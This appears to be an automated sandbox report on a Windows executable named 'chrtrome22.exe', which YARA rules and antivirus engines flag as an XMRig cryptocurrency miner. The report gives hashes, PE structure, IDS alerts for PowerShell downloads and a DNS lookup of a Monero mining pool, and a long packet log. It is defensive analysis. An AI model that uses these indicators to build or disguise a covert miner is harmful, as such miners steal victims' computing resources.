Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\xmrig\xmrig-6.22.2\xmrig.exe, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: C:\xmrig\xmrig-6.22.2\xmrig.exe, Author: unknown Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: C:\xmrig\xmrig-6.22.2\xmrig.exe, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: C:\xmrig\xmrig-6.22.2\xmrig.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........{S.N.=.N.=.N.=..b>.B.=..b8..=..o9.].=..o>.D.=..o8...=..b9.W.=.o9.\.=.N.<...=..b<.Y.=...9.n.=.o4.G.=.o>.M.=.o..O.=.N...O.=.o?.O.=.RichN.=.........................PE..d...))'g.........."......VB..rI.......>........@.............................0............`.................................................T.\..........Y...................p........Y.......................Y.(.....Y.8............pB.p............................text...8TB......VB................. ..`.rdata..nw...pB..x...ZB.............@..@.data.....*...\.......\.............@....pdata................].............@..@_RANDOMXV.............`.............@..`_TEXT_CN.&.......(....`.............@..`_TEXT_CN..............`.............@..`_RDATA................`.............@..@.rsrc....Y.......Z....`.............@..@.reloc.......p.......$a.............@..B........................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.375702856183609
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	chrtrome22.exe
File size:	13'312 bytes
MD5:	ae96b1fb65498cdf458a52bc197466a5
SHA1:	c55f2e200b34d90caddb261b971972c97648402f
SHA256:	7d54679530cec59ef4c71f059c3b6da8f654e2a316fa4689319db0ab35572880
SHA512:	de89b24bed221beaa0cb74e3ce0ec97570fe21130f35c3683540a8bc76afc10797898f410acef94d57b1cbebbd06f0e820eeb1df7d63fcdf45f7d907f6bc8c97
SSDEEP:	192:VFLcbr8jR6T4YiZ/T0YmYV526Yu3hSWrJ4aadrq8uSF3:VFLcBT4YitT0Ymeo633hLrJ4JUSF
TLSH:	25522D2CA3784256C85A8A7E8C73CF802234FD66F553E75D1CB4F1526E3235086A26F9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zg.............................7... ...@....@.. ....................................@................................

File Icon


Icon Hash:	6b595171192d243b

Static PE Info

General

Entrypoint:	0x4037be
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x677AC9BE [Sun Jan 5 18:04:46 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3768	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x1760	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x17c4	0x1800	a9700b38ff6c5b620cd6b2c38776e5bf	False	0.6328125	data	5.93149859470483	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0x1760	0x1800	a4cc067d0be0e7bb6585a9df2ed10dc9	False	0.3037109375	data	4.69536242285062	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6000	0xc	0x200	98b5de85608d1a214cf8979f2e38fb3b	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x44b0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.25656660412757976
RT_GROUP_ICON	0x5558	0x14	data	1.2
RT_VERSION	0x4130	0x37c	data	0.4383408071748879
RT_MANIFEST	0x5570	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-09T08:42:10.487254+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	140.82.121.4	443	TCP
2025-01-09T08:42:11.117698+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49731	185.199.110.133	443	TCP
2025-01-09T08:42:14.364879+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49732	172.67.144.26	443	TCP
2025-01-09T08:42:15.520551+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49733	206.189.156.69	80	TCP
2025-01-09T08:42:15.866225+0100	2047928	ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)	2	192.168.2.4	64014	1.1.1.1	53	UDP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 08:42:09.418879032 CET	49730	443	192.168.2.4	140.82.121.4
Jan 9, 2025 08:42:09.418924093 CET	443	49730	140.82.121.4	192.168.2.4
Jan 9, 2025 08:42:09.418999910 CET	49730	443	192.168.2.4	140.82.121.4
Jan 9, 2025 08:42:09.430015087 CET	49730	443	192.168.2.4	140.82.121.4
Jan 9, 2025 08:42:09.430028915 CET	443	49730	140.82.121.4	192.168.2.4
Jan 9, 2025 08:42:10.086536884 CET	443	49730	140.82.121.4	192.168.2.4
Jan 9, 2025 08:42:10.086669922 CET	49730	443	192.168.2.4	140.82.121.4
Jan 9, 2025 08:42:10.091923952 CET	49730	443	192.168.2.4	140.82.121.4
Jan 9, 2025 08:42:10.091938019 CET	443	49730	140.82.121.4	192.168.2.4
Jan 9, 2025 08:42:10.092327118 CET	443	49730	140.82.121.4	192.168.2.4
Jan 9, 2025 08:42:10.139899969 CET	49730	443	192.168.2.4	140.82.121.4
Jan 9, 2025 08:42:10.183334112 CET	443	49730	140.82.121.4	192.168.2.4
Jan 9, 2025 08:42:10.487267017 CET	443	49730	140.82.121.4	192.168.2.4
Jan 9, 2025 08:42:10.487479925 CET	443	49730	140.82.121.4	192.168.2.4
Jan 9, 2025 08:42:10.487523079 CET	443	49730	140.82.121.4	192.168.2.4
Jan 9, 2025 08:42:10.487567902 CET	49730	443	192.168.2.4	140.82.121.4
Jan 9, 2025 08:42:10.487612009 CET	49730	443	192.168.2.4	140.82.121.4
Jan 9, 2025 08:42:10.490998983 CET	49730	443	192.168.2.4	140.82.121.4
Jan 9, 2025 08:42:10.504693031 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:10.504751921 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:10.504853010 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:10.505430937 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:10.505443096 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:10.964183092 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:10.964323997 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:10.967725992 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:10.967736959 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:10.968028069 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:10.969199896 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.011347055 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.117705107 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.118194103 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.118223906 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.118366003 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.118390083 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.118393898 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.118417025 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.118432999 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.118457079 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.118880033 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.118949890 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.118979931 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.118993044 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.118998051 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.119040012 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.123049021 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.133291006 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.133393049 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.133414030 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.176731110 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.205324888 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.205431938 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.205482960 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.205509901 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.205527067 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.205593109 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.205598116 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.205634117 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.205663919 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.205673933 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.205679893 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.205718994 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.205773115 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.206217051 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.206244946 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.206264019 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.206269979 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.206309080 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.206331968 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.206396103 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.206428051 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.206438065 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.206442118 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.206480026 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.207067966 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.207222939 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.207254887 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.207285881 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.207298040 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.207303047 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.207335949 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.207345009 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.207410097 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.207415104 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.254838943 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.254869938 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.263317108 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.263379097 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.263400078 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.292016029 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.292048931 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.292062998 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.292073011 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.292094946 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.292114973 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.292119980 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.292148113 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.292160034 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.292164087 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.292198896 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.292203903 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.293294907 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.293303013 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.293319941 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.293327093 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.293333054 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.293355942 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.293360949 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.293409109 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.293442965 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.294085979 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.294122934 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.294186115 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.294192076 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.295572996 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.295593023 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.295639992 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.295644999 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.295675993 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.348611116 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.378963947 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.378976107 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.379018068 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.379035950 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.379053116 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.379087925 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.379122972 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.379625082 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.379641056 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.379693985 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.379699945 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.379731894 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.379745960 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.380383968 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.380409002 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.380459070 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.380464077 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.380507946 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.381304979 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.381325960 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.381388903 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.381395102 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.381439924 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.382230997 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.382251024 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.382318020 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.382323027 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.382378101 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.383116007 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.383131027 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.383208036 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.383213043 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.383254051 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.384057999 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.384073973 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.384156942 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.384161949 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.384207964 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.465584993 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.465605974 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.465682030 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.465699911 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.465730906 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.465750933 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.466092110 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.466105938 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.466151953 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.466157913 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.466197014 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.466568947 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.466583014 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.466648102 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.466653109 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.466692924 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.466984034 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.467003107 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.467042923 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.467047930 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.467084885 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.467103004 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.467618942 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.467634916 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.467688084 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.467693090 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.467725039 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.467755079 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.469743967 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.470576048 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.470588923 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.470655918 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.470660925 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.470700979 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.471004963 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.471018076 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.471064091 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.471070051 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.471113920 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.471399069 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.471412897 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.471458912 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.471465111 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.471501112 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.552218914 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.552253008 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.552347898 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.552383900 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.552467108 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.552737951 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.552753925 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.552798986 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.552807093 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.552845001 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.553311110 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.553324938 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.553369999 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.553376913 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.553415060 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.553733110 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.553747892 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.553782940 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.553792953 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.553816080 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.553833961 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.554173946 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.554187059 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.554245949 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.554254055 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.554299116 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.554686069 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.554698944 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.554743052 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.554749012 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.554780960 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.554795027 CET	49731	443	192.168.2.4	185.199.110.133
